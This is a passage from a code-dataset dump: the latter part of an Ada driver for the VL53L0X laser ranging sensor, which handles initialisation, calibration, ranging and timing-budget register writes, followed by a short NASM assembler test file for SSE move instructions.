Disabled; -- TODO: Sigma estimator variable if Status then Write (This, 16#80#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#00#, UInt8'(16#00#), Status); end if; if Status then Read (This, 16#91#, This.Stop_Variable, Status); end if; if Status then Write (This, 16#00#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#80#, UInt8'(16#00#), Status); end if; -- disable SIGNAL_RATE_MSRC (bit 1) and SIGNAL_RATE_PRE_RANGE (bit 4) -- limit checks if Status then Read (This, REG_MSRC_CONFIG_CONTROL, Regval, Status); end if; if Status then Write (This, REG_MSRC_CONFIG_CONTROL, Regval or 16#12#, Status); end if; if Status then -- Set final range signal rate limit to 0.25 MCPS Status := Set_Signal_Rate_Limit (This, 0.25); end if; if Status then Write (This, REG_SYSTEM_SEQUENCE_CONFIG, UInt8'(16#FF#), Status); end if; end Data_Init; ----------------- -- Static_Init -- ----------------- procedure Static_Init (This : in out VL53L0X_Ranging_Sensor; GPIO_Function : VL53L0X_GPIO_Functionality; Status : out Boolean) is type SPAD_Map is array (UInt8 range 1 .. 48) of Boolean with Pack, Size => 48; subtype SPAD_Map_Bytes is UInt8_Array (1 .. 6); function To_Map is new Ada.Unchecked_Conversion (SPAD_Map_Bytes, SPAD_Map); function To_Bytes is new Ada.Unchecked_Conversion (SPAD_Map, SPAD_Map_Bytes); SPAD_Count : UInt8; SPAD_Is_Aperture : Boolean; Ref_SPAD_Map_Bytes : SPAD_Map_Bytes; Ref_SPAD_Map : SPAD_Map; First_SPAD : UInt8; SPADS_Enabled : UInt8; Timing_Budget : UInt32; begin Status := SPAD_Info (This, SPAD_Count, SPAD_Is_Aperture); if not Status then return; end if; Read (This, REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_0, Ref_SPAD_Map_Bytes, Status); Ref_SPAD_Map := To_Map (Ref_SPAD_Map_Bytes); -- Set reference spads if Status then Write (This, 16#FF#, UInt8'(16#01#), Status); end if; if Status then Write (This, REG_DYNAMIC_SPAD_REF_EN_START_OFFSET, UInt8'(16#00#), Status); end if; if Status then Write (This, REG_DYNAMIC_SPAD_NUM_REQUESTED_REF_SPAD, UInt8'(16#2C#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#00#), Status); end if; if Status then Write (This, REG_GLOBAL_CONFIG_REF_EN_START_SELECT, UInt8'(16#B4#), Status); end if; if Status then if SPAD_Is_Aperture then First_SPAD := 13; else First_SPAD := 1; end if; SPADS_Enabled := 0; for J in UInt8 range 1 .. 48 loop if J < First_SPAD or else SPADS_Enabled = SPAD_Count then -- This bit is lower than the first one that should be enabled, -- or SPAD_Count bits have already been enabled, so zero this -- bit Ref_SPAD_Map (J) := False; elsif Ref_SPAD_Map (J) then SPADS_Enabled := SPADS_Enabled + 1; end if; end loop; end if; if Status then Ref_SPAD_Map_Bytes := To_Bytes (Ref_SPAD_Map); Write (This, REG_GLOBAL_CONFIG_SPAD_ENABLES_REF_0, Ref_SPAD_Map_Bytes, Status); end if; -- Load tuning Settings -- default tuning settings from vl53l0x_tuning.h if Status then Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#00#, UInt8'(16#00#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#09#, UInt8'(16#00#), Status); Write (This, 16#10#, UInt8'(16#00#), Status); Write (This, 16#11#, UInt8'(16#00#), Status); Write (This, 16#24#, UInt8'(16#01#), Status); Write (This, 16#25#, UInt8'(16#FF#), Status); Write (This, 16#75#, UInt8'(16#00#), Status); Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#4E#, UInt8'(16#2C#), Status); Write (This, 16#48#, UInt8'(16#00#), Status); Write (This, 16#30#, UInt8'(16#20#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#30#, UInt8'(16#09#), Status); Write (This, 16#54#, UInt8'(16#00#), Status); Write (This, 16#31#, UInt8'(16#04#), Status); Write (This, 16#32#, UInt8'(16#03#), Status); Write (This, 16#40#, UInt8'(16#83#), Status); Write (This, 16#46#, UInt8'(16#25#), Status); Write (This, 16#60#, UInt8'(16#00#), Status); Write (This, 16#27#, UInt8'(16#00#), Status); Write (This, 16#50#, UInt8'(16#06#), Status); Write (This, 16#51#, UInt8'(16#00#), Status); Write (This, 16#52#, UInt8'(16#96#), Status); Write (This, 16#56#, UInt8'(16#08#), Status); Write (This, 16#57#, UInt8'(16#30#), Status); Write (This, 16#61#, UInt8'(16#00#), Status); Write (This, 16#62#, UInt8'(16#00#), Status); Write (This, 16#64#, UInt8'(16#00#), Status); Write (This, 16#65#, UInt8'(16#00#), Status); Write (This, 16#66#, UInt8'(16#A0#), Status); Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#22#, UInt8'(16#32#), Status); Write (This, 16#47#, UInt8'(16#14#), Status); Write (This, 16#49#, UInt8'(16#FF#), Status); Write (This, 16#4A#, UInt8'(16#00#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#7A#, UInt8'(16#0A#), Status); Write (This, 16#7B#, UInt8'(16#00#), Status); Write (This, 16#78#, UInt8'(16#21#), Status); Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#23#, UInt8'(16#34#), Status); Write (This, 16#42#, UInt8'(16#00#), Status); Write (This, 16#44#, UInt8'(16#FF#), Status); Write (This, 16#45#, UInt8'(16#26#), Status); Write (This, 16#46#, UInt8'(16#05#), Status); Write (This, 16#40#, UInt8'(16#40#), Status); Write (This, 16#0E#, UInt8'(16#06#), Status); Write (This, 16#20#, UInt8'(16#1A#), Status); Write (This, 16#43#, UInt8'(16#40#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#34#, UInt8'(16#03#), Status); Write (This, 16#35#, UInt8'(16#44#), Status); Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#31#, UInt8'(16#04#), Status); Write (This, 16#4B#, UInt8'(16#09#), Status); Write (This, 16#4C#, UInt8'(16#05#), Status); Write (This, 16#4D#, UInt8'(16#04#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#44#, UInt8'(16#00#), Status); Write (This, 16#45#, UInt8'(16#20#), Status); Write (This, 16#47#, UInt8'(16#08#), Status); Write (This, 16#48#, UInt8'(16#28#), Status); Write (This, 16#67#, UInt8'(16#00#), Status); Write (This, 16#70#, UInt8'(16#04#), Status); Write (This, 16#71#, UInt8'(16#01#), Status); Write (This, 16#72#, UInt8'(16#FE#), Status); Write (This, 16#76#, UInt8'(16#00#), Status); Write (This, 16#77#, UInt8'(16#00#), Status); Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#0D#, UInt8'(16#01#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#80#, UInt8'(16#01#), Status); Write (This, 16#01#, UInt8'(16#F8#), Status); Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, 16#8E#, UInt8'(16#01#), Status); Write (This, 16#00#, UInt8'(16#01#), Status); Write (This, 16#FF#, UInt8'(16#00#), Status); Write (This, 16#80#, UInt8'(16#00#), Status); end if; Set_GPIO_Config (This, GPIO_Function, Polarity_High, Status); if Status then Timing_Budget := Measurement_Timing_Budget (This); -- Disable MSRC and TCC by default -- MSRC = Minimum Signal Rate Check -- TCC = Target CenterCheck Write (This, REG_SYSTEM_SEQUENCE_CONFIG, UInt8'(16#E8#), Status); end if; -- Recalculate the timing Budget if Status then Set_Measurement_Timing_Budget (This, Timing_Budget, Status); end if; end Static_Init; ------------------------------------ -- Perform_Single_Ref_Calibration -- ------------------------------------ procedure Perform_Single_Ref_Calibration (This : VL53L0X_Ranging_Sensor; VHV_Init : UInt8; Status : out Boolean) is Val : UInt8; begin Write (This, REG_SYSRANGE_START, VHV_Init or 16#01#, Status); if not Status then return; end if; loop Read (This, REG_RESULT_INTERRUPT_STATUS, Val, Status); exit when not Status; exit when (Val and 16#07#) /= 0; end loop; if not Status then return; end if; Write (This, REG_SYSTEM_INTERRUPT_CLEAR, UInt8'(16#01#), Status); if not Status then return; end if; Write (This, REG_SYSRANGE_START, UInt8'(16#00#), Status); end Perform_Single_Ref_Calibration; ----------------------------- -- Perform_Ref_Calibration -- ----------------------------- procedure Perform_Ref_Calibration (This : in out VL53L0X_Ranging_Sensor; Status : out Boolean) is begin -- VHV calibration Write (This, REG_SYSTEM_SEQUENCE_CONFIG, UInt8'(16#01#), Status); if Status then Perform_Single_Ref_Calibration (This, 16#40#, Status); end if; -- Phase calibration if Status then Write (This, REG_SYSTEM_SEQUENCE_CONFIG, UInt8'(16#02#), Status); end if; if Status then Perform_Single_Ref_Calibration (This, 16#00#, Status); end if; -- Restore the sequence config if Status then Write (This, REG_SYSTEM_SEQUENCE_CONFIG, UInt8'(16#E8#), Status); end if; end Perform_Ref_Calibration; ---------------------- -- Start_Continuous -- ---------------------- procedure Start_Continuous (This : VL53L0X.VL53L0X_Ranging_Sensor; Period_Ms : HAL.UInt32; Status : out Boolean) is -- From vl53l0xStartContinuous() in -- crazyflie-firmware/src/drivers/src/vl53l0x.c begin Write (This, 16#80#, UInt8'(16#01#), Status); if Status then Write (This, 16#ff#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#00#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#91#, UInt8'(This.Stop_Variable), Status); end if; if Status then Write (This, 16#00#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#ff#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#80#, UInt8'(16#00#), Status); end if; if not Status then return; end if; if Period_Ms /= 0 then -- continuous timed mode declare procedure Set_Inter_Measurement_Period_Milliseconds; -- The Crazyflie code indicates that this is a missing -- function that they've inlined. procedure Set_Inter_Measurement_Period_Milliseconds is Osc_Calibrate_Val : UInt16; Period : UInt32 := Period_Ms; begin Read (This, REG_OSC_CALIBRATE_VAL, Osc_Calibrate_Val, Status); if Status and then Osc_Calibrate_Val /= 0 then Period := Period * UInt32 (Osc_Calibrate_Val); end if; if Status then Write (This, REG_SYSTEM_INTERMEASUREMENT_PERIOD, Period, Status); end if; end Set_Inter_Measurement_Period_Milliseconds; begin Set_Inter_Measurement_Period_Milliseconds; if Status then Write (This, REG_SYSRANGE_START, UInt8'(REG_SYSRANGE_MODE_TIMED), Status); end if; end; else -- continuous back-to-back mode Write (This, REG_SYSRANGE_START, UInt8'(REG_SYSRANGE_MODE_BACKTOBACK), Status); end if; end Start_Continuous; ------------------------------------ -- Start_Range_Single_Millimeters -- ------------------------------------ procedure Start_Range_Single_Millimeters (This : VL53L0X_Ranging_Sensor; Status : out Boolean) is Val : UInt8; begin Write (This, 16#80#, UInt8'(16#01#), Status); if Status then Write (This, 16#FF#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#00#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#91#, This.Stop_Variable, Status); end if; if Status then Write (This, 16#00#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#80#, UInt8'(16#00#), Status); end if; if Status then Write (This, REG_SYSRANGE_START, UInt8'(16#01#), Status); end if; if not Status then return; end if; loop Read (This, REG_SYSRANGE_START, Val, Status); exit when not Status; exit when (Val and 16#01#) = 0; end loop; end Start_Range_Single_Millimeters; --------------------------- -- Range_Value_Available -- --------------------------- function Range_Value_Available (This : VL53L0X_Ranging_Sensor) return Boolean is Status : Boolean with Unreferenced; Val : UInt8; begin Read (This, REG_RESULT_INTERRUPT_STATUS, Val, Status); return (Val and 16#07#) /= 0; end Range_Value_Available; ---------------------------- -- Read_Range_Millimeters -- ---------------------------- function Read_Range_Millimeters (This : VL53L0X_Ranging_Sensor) return HAL.UInt16 is Status : Boolean with Unreferenced; Ret : HAL.UInt16; begin Read (This, REG_RESULT_RANGE_STATUS + 10, Ret, Status); Write (This, REG_SYSTEM_INTERRUPT_CLEAR, UInt8'(16#01#), Status); return Ret; end Read_Range_Millimeters; ----------------------------------- -- Read_Range_Single_Millimeters -- ----------------------------------- function Read_Range_Single_Millimeters (This : VL53L0X_Ranging_Sensor) return HAL.UInt16 is Status : Boolean; begin Start_Range_Single_Millimeters (This, Status); if not Status then return 4000; end if; while not Range_Value_Available (This) loop This.Timing.Delay_Milliseconds (1); end loop; return Read_Range_Millimeters (This); end Read_Range_Single_Millimeters; --------------------- -- Set_GPIO_Config -- --------------------- procedure Set_GPIO_Config (This : in out VL53L0X_Ranging_Sensor; Functionality : VL53L0X_GPIO_Functionality; Polarity : VL53L0X_Interrupt_Polarity; Status : out Boolean) is Data : UInt8; Tmp : UInt8; begin case Functionality is when No_Interrupt => Data := 0; when Level_Low => Data := 1; when Level_High => Data := 2; when Out_Of_Window => Data := 3; when New_Sample_Ready => Data := 4; end case; -- 16#04#: interrupt on new measure ready Write (This, REG_SYSTEM_INTERRUPT_CONFIG_GPIO, Data, Status); -- Interrupt polarity if Status then case Polarity is when Polarity_Low => Data := 16#10#; when Polarity_High => Data := 16#00#; end case; Read (This, REG_GPIO_HV_MUX_ACTIVE_HIGH, Tmp, Status); Tmp := (Tmp and 16#EF#) or Data; Write (This, REG_GPIO_HV_MUX_ACTIVE_HIGH, Tmp, Status); end if; if Status then Clear_Interrupt_Mask (This); end if; end Set_GPIO_Config; -------------------------- -- Clear_Interrupt_Mask -- -------------------------- procedure Clear_Interrupt_Mask (This : VL53L0X_Ranging_Sensor) is Status : Boolean with Unreferenced; -- Tmp : UInt8; begin -- for J in 1 .. 3 loop Write (This, REG_SYSTEM_INTERRUPT_CLEAR, UInt8'(16#01#), Status); -- exit when not Status; -- Write (This, REG_SYSTEM_INTERRUPT_CLEAR, UInt8'(16#00#), Status); -- exit when not Status; -- Read (This, REG_RESULT_INTERRUPT_STATUS, Tmp, Status); -- exit when not Status; -- exit when (Tmp and 16#07#) /= 0; -- end loop; end Clear_Interrupt_Mask; --------------------------- -- Sequence_Step_Enabled -- --------------------------- function Sequence_Step_Enabled (This : VL53L0X_Ranging_Sensor) return VL53L0x_Sequence_Step_Enabled is Sequence_Steps : VL53L0x_Sequence_Step_Enabled; Sequence_Config : UInt8 := 0; Status : Boolean; function Sequence_Step_Enabled (Step : VL53L0x_Sequence_Step; Sequence_Config : UInt8) return Boolean; --------------------------- -- Sequence_Step_Enabled -- --------------------------- function Sequence_Step_Enabled (Step : VL53L0x_Sequence_Step; Sequence_Config : UInt8) return Boolean is begin case Step is when TCC => return (Sequence_Config and 16#10#) /= 0; when DSS => return (Sequence_Config and 16#08#) /= 0; when MSRC => return (Sequence_Config and 16#04#) /= 0; when Pre_Range => return (Sequence_Config and 16#40#) /= 0; when Final_Range => return (Sequence_Config and 16#80#) /= 0; end case; end Sequence_Step_Enabled; begin Read (This, REG_SYSTEM_SEQUENCE_CONFIG, Sequence_Config, Status); if not Status then return (others => False); end if; for Step in Sequence_Steps'Range loop Sequence_Steps (Step) := Sequence_Step_Enabled (Step, Sequence_Config); end loop; return Sequence_Steps; end Sequence_Step_Enabled; --------------------------- -- Sequence_Step_Timeout -- --------------------------- function Sequence_Step_Timeout (This : VL53L0X_Ranging_Sensor; Step : VL53L0x_Sequence_Step; As_Mclks : Boolean := False) return UInt32 is VCSel_Pulse_Period_Pclk : UInt8; Encoded_UInt8 : UInt8; Encoded_UInt16 : UInt16; Status : Boolean; Timeout_Mclks : UInt32; Sequence_Steps : VL53L0x_Sequence_Step_Enabled; begin case Step is when TCC | DSS | MSRC => Read (This, REG_MSRC_CONFIG_TIMEOUT_MACROP, Encoded_UInt8, Status); if Status then Timeout_Mclks := Decode_Timeout (UInt16 (Encoded_UInt8)); end if; if As_Mclks then return Timeout_Mclks; else VCSel_Pulse_Period_Pclk := VCSel_Pulse_Period (This, Pre_Range); return To_Timeout_Microseconds (Timeout_Mclks, VCSel_Pulse_Period_Pclk); end if; when Pre_Range => Read (This, REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, Encoded_UInt16, Status); if Status then Timeout_Mclks := Decode_Timeout (Encoded_UInt16); end if; if As_Mclks then return Timeout_Mclks; else VCSel_Pulse_Period_Pclk := VCSel_Pulse_Period (This, Pre_Range); return To_Timeout_Microseconds (Timeout_Mclks, VCSel_Pulse_Period_Pclk); end if; when Final_Range => Sequence_Steps := Sequence_Step_Enabled (This); if Sequence_Steps (Pre_Range) then VCSel_Pulse_Period_Pclk := VCSel_Pulse_Period (This, Pre_Range); Read (This, REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, Encoded_UInt16, Status); if Status then Timeout_Mclks := Decode_Timeout (Encoded_UInt16); end if; else Timeout_Mclks := 0; end if; VCSel_Pulse_Period_Pclk := VCSel_Pulse_Period (This, Final_Range); Read (This, REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_HI, Encoded_UInt16, Status); Timeout_Mclks := Decode_Timeout (Encoded_UInt16) - Timeout_Mclks; if As_Mclks then return Timeout_Mclks; else return To_Timeout_Microseconds (Timeout_Mclks, VCSel_Pulse_Period_Pclk); end if; end case; end Sequence_Step_Timeout; ------------------------------- -- Measurement_Timing_Budget -- ------------------------------- function Measurement_Timing_Budget (This : VL53L0X_Ranging_Sensor) return HAL.UInt32 is Ret : UInt32; Pre_Range_Timeout : UInt32; Final_Range_Timeout : UInt32; Sequence_Steps : VL53L0x_Sequence_Step_Enabled; Msrc_Dcc_Tcc_Timeout : UInt32; begin Ret := Start_Overhead + End_Overhead; Sequence_Steps := Sequence_Step_Enabled (This); if Sequence_Steps (TCC) or else Sequence_Steps (MSRC) or else Sequence_Steps (DSS) then Msrc_Dcc_Tcc_Timeout := Sequence_Step_Timeout (This, MSRC); if Sequence_Steps (TCC) then Ret := Ret + Msrc_Dcc_Tcc_Timeout + Tcc_Overhead; end if; if Sequence_Steps (DSS) then Ret := Ret + 2 * (Msrc_Dcc_Tcc_Timeout + Dss_Overhead); elsif Sequence_Steps (MSRC) then Ret := Ret + Msrc_Dcc_Tcc_Timeout + Msrc_Overhead; end if; end if; if Sequence_Steps (Pre_Range) then Pre_Range_Timeout := Sequence_Step_Timeout (This, Pre_Range); Ret := Ret + Pre_Range_Timeout + Pre_Range_Overhead; end if; if Sequence_Steps (Final_Range) then Final_Range_Timeout := Sequence_Step_Timeout (This, Final_Range); Ret := Ret + Final_Range_Timeout + Final_Range_Overhead; end if; return Ret; end Measurement_Timing_Budget; ----------------------------------- -- Set_Measurement_Timing_Budget -- ----------------------------------- procedure Set_Measurement_Timing_Budget (This : VL53L0X_Ranging_Sensor; Budget_Micro_Seconds : HAL.UInt32; Status : out Boolean) is Final_Range_Timing_Budget_us : UInt32; Sequence_Steps : VL53L0x_Sequence_Step_Enabled; Pre_Range_Timeout_us : UInt32 := 0; Sub_Timeout : UInt32 := 0; Msrc_Dcc_Tcc_Timeout : UInt32; begin Status := True; Final_Range_Timing_Budget_us := Budget_Micro_Seconds - Start_Overhead - End_Overhead - Final_Range_Overhead; Sequence_Steps := Sequence_Step_Enabled (This); if not Sequence_Steps (Final_Range) then return; end if; if Sequence_Steps (TCC) or else Sequence_Steps (MSRC) or else Sequence_Steps (DSS) then Msrc_Dcc_Tcc_Timeout := Sequence_Step_Timeout (This, MSRC); if Sequence_Steps (TCC) then Sub_Timeout := Msrc_Dcc_Tcc_Timeout + Tcc_Overhead; end if; if Sequence_Steps (DSS) then Sub_Timeout := Sub_Timeout + 2 * (Msrc_Dcc_Tcc_Timeout + Dss_Overhead); elsif Sequence_Steps (MSRC) then Sub_Timeout := Sub_Timeout + Msrc_Dcc_Tcc_Timeout + Msrc_Overhead; end if; end if; if Sequence_Steps (Pre_Range) then Pre_Range_Timeout_us := Sequence_Step_Timeout (This, Pre_Range); Sub_Timeout := Sub_Timeout + Pre_Range_Timeout_us + Pre_Range_Overhead; end if; if Sub_Timeout < Final_Range_Timing_Budget_us then Final_Range_Timing_Budget_us := Final_Range_Timing_Budget_us - Sub_Timeout; else -- Requested timeout too big Status := False; return; end if; declare VCSel_Pulse_Period_Pclk : UInt8; Encoded_UInt16 : UInt16; Timeout_Mclks : UInt32; begin if Sequence_Steps (Pre_Range) then VCSel_Pulse_Period_Pclk := VCSel_Pulse_Period (This, Pre_Range); Read (This, REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, Encoded_UInt16, Status); if Status then Timeout_Mclks := Decode_Timeout (Encoded_UInt16); end if; else Timeout_Mclks := 0; end if; VCSel_Pulse_Period_Pclk := VCSel_Pulse_Period (This, Final_Range); Timeout_Mclks := Timeout_Mclks + To_Timeout_Mclks (Final_Range_Timing_Budget_us, VCSel_Pulse_Period_Pclk); Write (This, REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_HI, Encode_Timeout (Timeout_Mclks), Status); end; return; end Set_Measurement_Timing_Budget; --------------------------- -- Set_Signal_Rate_Limit -- --------------------------- function Set_Signal_Rate_Limit (This : VL53L0X_Ranging_Sensor; Limit_Mcps : Fix_Point_16_16) return Boolean is function To_U32 is new Ada.Unchecked_Conversion (Fix_Point_16_16, UInt32); Val : UInt16; Status : Boolean; begin -- Expecting Fixed Point 9.7 Val := UInt16 (Shift_Right (To_U32 (Limit_Mcps), 9) and 16#FF_FF#); Write (This, REG_FINAL_RANGE_CONFIG_MIN_COUNT_RATE_RTN_LIMIT, Val, Status); return Status; end Set_Signal_Rate_Limit; --------------- -- SPAD_Info -- --------------- function SPAD_Info (This : VL53L0X_Ranging_Sensor; SPAD_Count : out HAL.UInt8; Is_Aperture : out Boolean) return Boolean is Status : Boolean; Tmp : UInt8; begin Write (This, 16#80#, UInt8'(16#01#), Status); if Status then Write (This, 16#FF#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#00#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#06#), Status); end if; if Status then Read (This, 16#83#, Tmp, Status); end if; if Status then Write (This, 16#83#, Tmp or 16#04#, Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#07#), Status); end if; if Status then Write (This, 16#81#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#80#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#94#, UInt8'(16#6B#), Status); end if; if Status then Write (This, 16#83#, UInt8'(16#00#), Status); end if; loop exit when not Status; Read (This, 16#83#, Tmp, Status); exit when Tmp /= 0; end loop; if Status then Write (This, 16#83#, UInt8'(16#01#), Status); end if; if Status then Read (This, 16#92#, Tmp, Status); end if; if Status then SPAD_Count := Tmp and 16#7F#; Is_Aperture := (Tmp and 16#80#) /= 0; Write (This, 16#81#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#06#), Status); end if; if Status then Read (This, 16#83#, Tmp, Status); end if; if Status then Write (This, 16#83#, Tmp and not 16#04#, Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#00#, UInt8'(16#01#), Status); end if; if Status then Write (This, 16#FF#, UInt8'(16#00#), Status); end if; if Status then Write (This, 16#80#, UInt8'(16#00#), Status); end if; return Status; end SPAD_Info; --------------------------- -- Set_Signal_Rate_Limit -- --------------------------- procedure Set_Signal_Rate_Limit (This : VL53L0X_Ranging_Sensor; Rate_Limit : Fix_Point_16_16) is function To_U32 is new Ada.Unchecked_Conversion (Fix_Point_16_16, UInt32); Reg : UInt16; Status : Boolean with Unreferenced; begin -- Encoded as Fixed Point 9.7. Let's translate. Reg := UInt16 (Shift_Right (To_U32 (Rate_Limit), 9) and 16#FFFF#); Write (This, REG_FINAL_RANGE_CONFIG_MIN_COUNT_RATE_RTN_LIMIT, Reg, Status); end Set_Signal_Rate_Limit; -------------------------------------- -- Set_Vcsel_Pulse_Period_Pre_Range -- -------------------------------------- procedure Set_VCSEL_Pulse_Period_Pre_Range (This : VL53L0X_Ranging_Sensor; Period : UInt8; Status : out Boolean) is begin Set_VCSel_Pulse_Period (This, Period, Pre_Range, Status); end Set_VCSEL_Pulse_Period_Pre_Range; ---------------------------------------- -- Set_Vcsel_Pulse_Period_Final_Range -- ---------------------------------------- procedure Set_VCSEL_Pulse_Period_Final_Range (This : VL53L0X_Ranging_Sensor; Period : UInt8; Status : out Boolean) is begin Set_VCSel_Pulse_Period (This, Period, Final_Range, Status); end Set_VCSEL_Pulse_Period_Final_Range; ---------------------------- -- Set_VCSel_Pulse_Period -- ---------------------------- procedure Set_VCSel_Pulse_Period (This : VL53L0X_Ranging_Sensor; Period : UInt8; Sequence : VL53L0x_Sequence_Step; Status : out Boolean) is Encoded : constant UInt8 := Shift_Right (Period, 1) - 1; Phase_High : UInt8; Pre_Timeout : UInt32; Final_Timeout : UInt32; Msrc_Timeout : UInt32; Timeout_Mclks : UInt32; Steps_Enabled : constant VL53L0x_Sequence_Step_Enabled := Sequence_Step_Enabled (This); Budget : UInt32; Sequence_Cfg : UInt8; begin -- Save the measurement timing budget Budget := Measurement_Timing_Budget (This); case Sequence is when Pre_Range => Pre_Timeout := Sequence_Step_Timeout (This, Pre_Range); Msrc_Timeout := Sequence_Step_Timeout (This, MSRC); case Period is when 12 => Phase_High := 16#18#; when 14 => Phase_High := 16#30#; when 16 => Phase_High := 16#40#; when 18 => Phase_High := 16#50#; when others => Status := False; return; end case; Write (This, REG_PRE_RANGE_CONFIG_VALID_PHASE_HIGH, Phase_High, Status); if not Status then return; end if; Write (This, REG_PRE_RANGE_CONFIG_VALID_PHASE_LOW, UInt8'(16#08#), Status); if not Status then return; end if; Write (This, REG_PRE_RANGE_CONFIG_VCSEL_PERIOD, Encoded, Status); if not Status then return; end if; -- Update the timeouts Timeout_Mclks := To_Timeout_Mclks (Pre_Timeout, Period); Write (This, REG_PRE_RANGE_CONFIG_TIMEOUT_MACROP_HI, UInt16 (Timeout_Mclks), Status); Timeout_Mclks := To_Timeout_Mclks (Msrc_Timeout, Period); if Timeout_Mclks > 256 then Timeout_Mclks := 255; else Timeout_Mclks := Timeout_Mclks - 1; end if; Write (This, REG_MSRC_CONFIG_TIMEOUT_MACROP, UInt8 (Timeout_Mclks), Status); when Final_Range => Pre_Timeout := Sequence_Step_Timeout (This, Pre_Range, As_Mclks => True); Final_Timeout := Sequence_Step_Timeout (This, Final_Range); declare Phase_High : UInt8; Width : UInt8; Cal_Timeout : UInt8; Cal_Lim : UInt8; begin case Period is when 8 => Phase_High := 16#10#; Width := 16#02#; Cal_Timeout := 16#0C#; Cal_Lim := 16#30#; when 10 => Phase_High := 16#28#; Width := 16#03#; Cal_Timeout := 16#09#; Cal_Lim := 16#20#; when 12 => Phase_High := 16#38#; Width := 16#03#; Cal_Timeout := 16#08#; Cal_Lim := 16#20#; when 14 => Phase_High := 16#48#; Width := 16#03#; Cal_Timeout := 16#07#; Cal_Lim := 16#20#; when others => return; end case; Write (This, REG_FINAL_RANGE_CONFIG_VALID_PHASE_HIGH, Phase_High, Status); if not Status then return; end if; Write (This, REG_FINAL_RANGE_CONFIG_VALID_PHASE_LOW, UInt8'(16#08#), Status); if not Status then return; end if; Write (This, REG_GLOBAL_CONFIG_VCSEL_WIDTH, Width, Status); if not Status then return; end if; Write (This, REG_ALGO_PHASECAL_CONFIG_TIMEOUT, Cal_Timeout, Status); if not Status then return; end if; Write (This, 16#FF#, UInt8'(16#01#), Status); Write (This, REG_ALGO_PHASECAL_LIM, Cal_Lim, Status); Write (This, 16#FF#, UInt8'(16#00#), Status); if not Status then return; end if; end; -- Apply new VCSEL period Write (This, REG_FINAL_RANGE_CONFIG_VCSEL_PERIOD, Encoded, Status); -- Update timeouts Timeout_Mclks := To_Timeout_Mclks (Final_Timeout, Period); if Steps_Enabled (Pre_Range) then -- the pre-range timeout must be added in this case Timeout_Mclks := Timeout_Mclks + Pre_Timeout; end if; Write (This, REG_FINAL_RANGE_CONFIG_TIMEOUT_MACROP_HI, Encode_Timeout (Timeout_Mclks), Status); when others => Status := False; return; end case; if Status then -- Restore the measurement timing budget Set_Measurement_Timing_Budget (This, Budget, Status); end if; -- And finally perform the phase calibration. Read (This, REG_SYSTEM_SEQUENCE_CONFIG, Sequence_Cfg, Status); if Status then Write (This, REG_SYSTEM_SEQUENCE_CONFIG, UInt8'(16#02#), Status); end if; if Status then Perform_Single_Ref_Calibration (This, 16#00#, Status); end if; if Status then Write (This, REG_SYSTEM_SEQUENCE_CONFIG, Sequence_Cfg, Status); end if; end Set_VCSel_Pulse_Period; ------------------------ -- VCSel_Pulse_Period -- ------------------------ function VCSel_Pulse_Period (This : VL53L0X_Ranging_Sensor; Sequence : VL53L0x_Sequence_Step) return UInt8 is Ret : UInt8; Status : Boolean; begin case Sequence is when Pre_Range => Read (This, REG_PRE_RANGE_CONFIG_VCSEL_PERIOD, Ret, Status); when Final_Range => Read (This, REG_FINAL_RANGE_CONFIG_VCSEL_PERIOD, Ret, Status); when others => Status := False; end case; if Status then return Shift_Left (Ret + 1, 1); else return 0; end if; end VCSel_Pulse_Period; end VL53L0X;
3rdParties/src/nasm/nasm-2.15.02/travis/test/br978756.asm
blue3k/StormForge
1
80482
<filename>3rdParties/src/nasm/nasm-2.15.02/travis/test/br978756.asm<gh_stars>1-10 [bits 64] movntdqa xmm1, oword [rsi] movlpd xmm2, qword [rdi] movlpd xmm2, [rdi] movlpd qword [rdi], xmm2 movlpd [rdi], xmm2
env.asm
lcsamaro/minilua
8
167270
